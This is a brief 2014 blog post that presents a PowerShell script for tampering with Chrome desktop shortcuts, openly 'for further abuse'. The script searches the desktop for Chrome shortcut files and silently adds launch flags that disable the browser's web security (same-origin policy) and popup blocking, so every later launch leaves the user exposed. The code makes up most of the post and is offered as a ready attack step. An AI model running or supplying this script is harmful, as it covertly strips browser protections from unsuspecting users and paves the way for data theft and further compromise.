Tuesday, December 2, 2014

PowerShell shortcuts manipuilation

Here some simple implementation on how to manipulate Chrome desktop shortcuts to contain
"--disable-web-security --disable-popup-blocking" for further abuse

$desktop = [System.Environment]::GetFolderPath('Desktop')
$wshShell = new-object -comobject WScript.Shell
$shortcuts = get-childitem -path $desktop -recurse -force -include "chrome*.lnk"  -ErrorAction silentlycontinue
foreach ($shortcut in $shortcuts)
{
    $s = $wshShell.CreateShortcut($shortcut.FullName)
    $s.Arguments = "--disable-web-security --disable-popup-blocking"
    $s.Save()
}

No comments:

Post a Comment